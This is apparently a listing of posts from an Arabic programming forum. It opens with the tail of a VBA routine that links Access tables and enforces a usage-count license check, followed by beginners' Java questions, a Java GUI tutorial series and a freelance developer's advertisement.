DefBranchPath, "L_Color"     LinkTab "L_Cust", DefBranchPath, "L_Cust"     LinkTab "L_CustBranch", DefBranchPath, "L_CustBranch"     LinkTab "L_CustGroup", DefBranchPath, "L_CustGroup"     LinkTab "L_Group", DefBranchPath, "L_Group"     LinkTab "L_GroupGroup", DefBranchPath, "L_GroupGroup"     LinkTab "L_MGroupGroup", DefBranchPath, "L_MGroupGroup"     LinkTab "L_Other", DefBranchPath, "L_Other"     LinkTab "L_Prod", DefBranchPath, "L_Prod"     LinkTab "L_ProdDetail", DefBranchPath, "L_ProdDetail"     LinkTab "L_ProdDetailStartStock", DefBranchPath, "L_ProdDetailStartStock"     LinkTab "L_Sesson", DefBranchPath, "L_Sesson"     LinkTab "L_Size", DefBranchPath, "L_Size"     LinkTab "L_Spent", DefBranchPath, "L_Spent"     LinkTab "L_Income", DefBranchPath, "L_Income"     LinkTab "L_Store", DefBranchPath, "L_Store"     LinkTab "L_Supp", DefBranchPath, "L_Supp"     LinkTab "L_SuppGroup", DefBranchPath, "L_SuppGroup"     LinkTab "OccDays", DefBranchPath, "OccDays"     LinkTab "Option", DefBranchPath, "Option"     LinkTab "PaperMoney", DefBranchPath, "PaperMoney"     LinkTab "PaperMoneyDetail", DefBranchPath, "PaperMoneyDetail"     LinkTab "Purch", DefBranchPath, "Purch"     LinkTab "PurchDetail", DefBranchPath, "PurchDetail"     LinkTab "StartBal", DefBranchPath, "StartBal"     LinkTab "Taswia", DefBranchPath, "Taswia"     LinkTab "Tmp_MasterAcc", DefBranchPath, "Tmp_MasterAcc"     LinkTab "Transfer", DefBranchPath, "Transfer"     LinkTab "TransferDetail", DefBranchPath, "TransferDetail"     LinkTab "UserMessage", DefBranchPath, "UserMessage"     LinkTab "Users", DefBranchPath, "Users"     LinkTab "Users_Branch", DefBranchPath, "Users_Branch"     LinkTab "User_Perm", DefBranchPath, "User_Perm"     LinkTab "User_Rep", DefBranchPath, "User_Rep"     LinkTab "Rep_Para", DefBranchPath, "Rep_Para"          LinkTab "FileClosed", Left(DefBranchPath, 15) & "DataClosed.mdb", "FileClosed"     LinkTab "FileClosedDamage", Left(DefBranchPath, 15) & "DataClosed.mdb", "FileClosedDamage"     LinkTab "FileClosedPurch", Left(DefBranchPath, 15) & "DataClosed.mdb", "FileClosedPurch"     LinkTab "FileClosedSales", Left(DefBranchPath, 15) & "DataClosed.mdb", "FileClosedSales"     LinkTab "FileClosedStart", Left(DefBranchPath, 15) & "DataClosed.mdb", "FileClosedStart"     LinkTab "FileClosedTransfer", Left(DefBranchPath, 15) & "DataClosed.mdb", "FileClosedTransfer"          BranchSwitchData Mid(X, 2, 1), "BranchGo" End If '------------------------------------------------------------------- 'Counter Security     If ISCounter = True Then         DoCmd.OpenForm "Const_H", , , "[ConstCode]=20", , acHidden         If Left([Forms]![Const_H]![ConstValue], 3) >= Right([Forms]![Const_H]![ConstValue], 3) Then            MsgBox "ÎØà Ýì ÊÚÑíÝ ÇáÈÑäÇãÌ ÈÇáÌåÇÒ", vbCritical, "Invalid Number"            DoCmd.Quit acQuitSaveAll            Exit Function         End If         If Len(Int(Left([Forms]![Const_H]![ConstValue], 3) + 1)) = 3 Then             [Forms]![Const_H]![ConstValue] = Int(Left([Forms]![Const_H]![ConstValue], 3)) + 1 & Right([Forms]![Const_H]![ConstValue], 4)         End If         If Len(Int(Left([Forms]![Const_H]![ConstValue], 3) + 1)) = 2 Then             [Forms]![Const_H]![ConstValue] = "0" & Int(Left([Forms]![Const_H]![ConstValue], 3)) + 1 & Right([Forms]![Const_H]![ConstValue], 4)         End If         If Len(Int(Left([Forms]![Const_H]![ConstValue], 3) + 1)) = 1 Then             [Forms]![Const_H]![ConstValue] = "00" & Int(Left([Forms]![Const_H]![ConstValue], 3)) + 1 & Right([Forms]![Const_H]![ConstValue], 4)         End If         DoCmd.Close acForm, "Const_H"     End If   Change_Bye:     Exit Function   Change_Err:     If Err = 3270 Then    ' Property not found.         Set prp = CurrentDb.CreateProperty("AllowBypassKey", 1, False)         CurrentDb.Properties.Append prp         Resume Next         Else ' Unknown error.         MsgBox Err.Description         ChangeProperty = False         Resume Change_Bye     End If End Function
  15. أرجو المساعدة

    السلام عليكم أنا عملت برنامج جافا يعتمد على قاعدة بيانات sql server بعدين قررت أعملو ع قاعدة بيانات أكسس وعملت استيراد للقاعدة من sql server للأكسس ولما شغل البرنامج ع النتبينس يشتغل نظامي بس لما أعمل ملف jar للمشروع وشغلو تطلع البيانات بحروف ورموز غير معروفة أو مفهومة الرجاء المساعدة
  16. ايش المشكله

    package customer;import java.util.Scanner;public class Customer { public static void main(String[] args) {String customerr;int name;int adress;int phoneNumber;Scanner input=new Scanner(System.in);System.out.println("please enter your name");customerr=input.nextLine();name=input.nextInt();adress=input.nextInt();phoneNumber=input.nextInt();switch(customerr){ case "Ahmad": case "0555150055": System.out.println("Hello Ahmad ,you will get a 10% discount from the total payment"); System.out.println("total priceis: 3700 SR ,you will be directed to our E-payment page" ); System.out.println("thank you for using our System " );break; case "Mohammad Abdullah": case "0595911919": System.out.println("Hello Mohammad Abdullah,you will get a 10% discount from the total payment"); System.out.println("total priceis: 3600 SR ,you will be directed to our E-payment page" ); System.out.println("thank you for using our System " );break;default: System.out.println("Hello " +name+ "please complete you information"); System.out.println("you phone number :"+adress ); System.out.println("you phone number :"+phoneNumber ); System.out.println("total priceis: 3500 SR ,you will be directed to our E-payment page" ); System.out.println("thank you for using our System " );} }}السلام عليكم ورحمة الله وبركاته عندي برنامج بـ swich مايطلع لي error  ومو راضي يتنفذ ممكن تقولين لي ايش المشكله
  17. السلام عليكم   يعد هدا اول موضوع لي في المنتدى الدي استفدت منه كتيرا  ايام كنت طالب مهندس   و الان احب ان اقدم لكم كتاب مهم جدا لاحتراف الجافا   و ان شاء الله انا رهن الخدمة  في عالم الجافا   للتخميل   http://www.eyesfile.ca/c91oz454666e/Programer_Java_5_and_6.rar.html
  18. السلام عليكم لدي مشروع تخرج يعتمد على قراءة مجموعة من المدخلات عبر مدخل الفلاشة , كبداية كتبت هذا البرنامج لكني حصلت على خطاء , هل يمكنكم مساعدتي ؟   كود الجافا موجود في المرفقات ( البرنامج يعمل كمتنصت على مداخل الفلاش اذا كانت موصولة مع اجهزة ام لا )   الخطاء موجود في المرفقات , لقد تأكدت من صحة الكود بالاضافة الى تضمين المكتبات المطلوبة   شكرا لكم UsbListner.rar
  19. اليوم انا بدات اتعلم جافا ولدي استفسار حول ما سمعت ان الجافا انتها عصرها ولا يوجد لها اي تطوير او تحديث بسبب قيام شركة اوركيل بشراء شركة سن  ملخص الموضوع  هل شركة ولغة  جافا ستستمر واتابع التعلم    او اقوم  بالتحويل على لغة اخرى  وما هية الغة الممكن دراستها  مع الشكر الجزيل والرجاء الرد باسرع وقت للضرورة 
  20. لسلام عليكم ورحمة الله وبركاته مبرمج جافا متعاون لتقديم الحلول والدعم في المشاريع والبرامج في طور التنفيذ ، أملك العديد من المهارات في لغات البرمجة .   قادر على مساعدة الشركات الصغيرة والمتوسطة والكبيرة في إيجاد برامج تساعدها على التقدم في مجال عملها . ( البرامج الطبية ، البرامج المكتبية ، برامج الأعمال ، الربط مع الشركات .. وغيرها ) .   كذلك يوجد لدي برنامج أقساط سهل الاستخدام وخفيف لتنظيم العمل .   مع العلم أني متواجد في المملكة العربية السعودية ، الرياض  رقم الأتصال : 0596337099 من خارج المملكة : 00966596337099  الأيميل   : ( [email protected]
  21.   السلام عليكم ورحمة الله وبركاته    مرحباً بالجميع، رمضان مبارك عليكم      لأهمية إثراء المحتوى العربي، ولأجل مساعدة الكثيرين الذين أتقنوا أساسيات لغة جافا ويريدون إكمال مسيرتهم فيها    هذه سلسلة دروس برمجة واجهات المستخدم في جافا  أو مايعرف ب Graphical user interface ، وإختصار تدعى GUI  الدورة راح تكون على هذه القناة في اليوتيوب  http://www.youtube.com/user/AddDelta   سأطرح هنا الدروس حتى تعم الفائدة، وكذلك لمن أراد السؤال أو الإستفسار فأتشرف بالإجابة على الأسئلة هنا في هذا الموضوع أو في طرق التواصل الموجودة في الدروس. ملاحظات:  " جميع الدروس مرفوعة بدقة HD " "جميع الفيديوهات من إعدادي الشخصي "    نبدأ هذا الدورة مع أول الدروس :        1- المقدمة ومتطلبات الدورة    http://www.youtube.com/watch?v=MkkbK-cVvoE   * * 2-  أصناف الكلاسات الرسومية ومكتباتها، Event, Listener    http://www.youtube.com/watch?v=eeR-rK4S830   * * 3-  إنشاء أول إطار رسومي في جافا باستخدام JFrame    http://www.youtube.com/watch?v=jXQ5eBOlH4c   * * 4- إنشاء إطار رسومي بالطريقة الدارجة باستخدام الوراثة    http://www.youtube.com/watch?v=T5Wcy0d16wk     * * 5-  نظرة أولى على الكائنات JButton & JLabel    http://www.youtube.com/watch?v=McDRaqeOER0     سأكمل في الرد القادم بقية الدروس إن شاء الله      
  22. الاخوة مبرمجين الاندرويد : اريد كود للإتصال بقاعدة البيانات MYSQL عن طريق الجافا وياليت لو كود كيفية الاستعلام من قاعدة البيانات وعرض النتائج على الواجهة ..
  23. السلام عليكم ممكن تعطوني معلومات عن اجتياز امتحان جافا اوراكل داخل المغرب   و الثمن و شكرا !
  24. احيانا نضطر "ولســـــوء الحظ" الى استخدام أكثر من لغـــــة برمجية في عملنا من اجــــل برمجة تطبيق معين يخدم احتياجاتنا الخاصة , على سبيل المثال تم الحصول على برنامج كبير مكتوب مسبقا بلغة الدلفي وتم برمجة بعض مكوناته بالجافا بصورة مستقلة , بعدها دعت الضرورة الى استخدام .Net في المشروع لاكمال البقية بسبب صعوية الامر او عدم وجود الادوات والمكتبات اللازمة لتنفيذ ذلك في اللغات البرمجية السابقة   السؤال المهم الذي يطرحه نفسه , كيف يتم الربط بين هذه الاكواد وهل هناك حل بسيط وفعال يمكن ان يحل مشكلة تعدد اللغات البرمجية
  25. فكرة لمشروع او برنامج

    السلام عليكم و رحمة الله ... اخواني لدي مشروع مدرسي في مدة 3 اشهر .. و اكون لكم شاكر لو افدتموني بافكار ..سواء برمجة ويب او ديسكتوب او موبايل اندرويد  و قد يكون مشروع يجمع بين اتنين باستخدام اتصال سوكت مثلا . لو احد لديه فكرة تطبيق او برنامج ..او ربما مشاكل يتمنى ان يجد لها حل  ...كل ما احتاجه هو الفكرة حتى ابدا العمل على البرمجة و شكرا مسبقا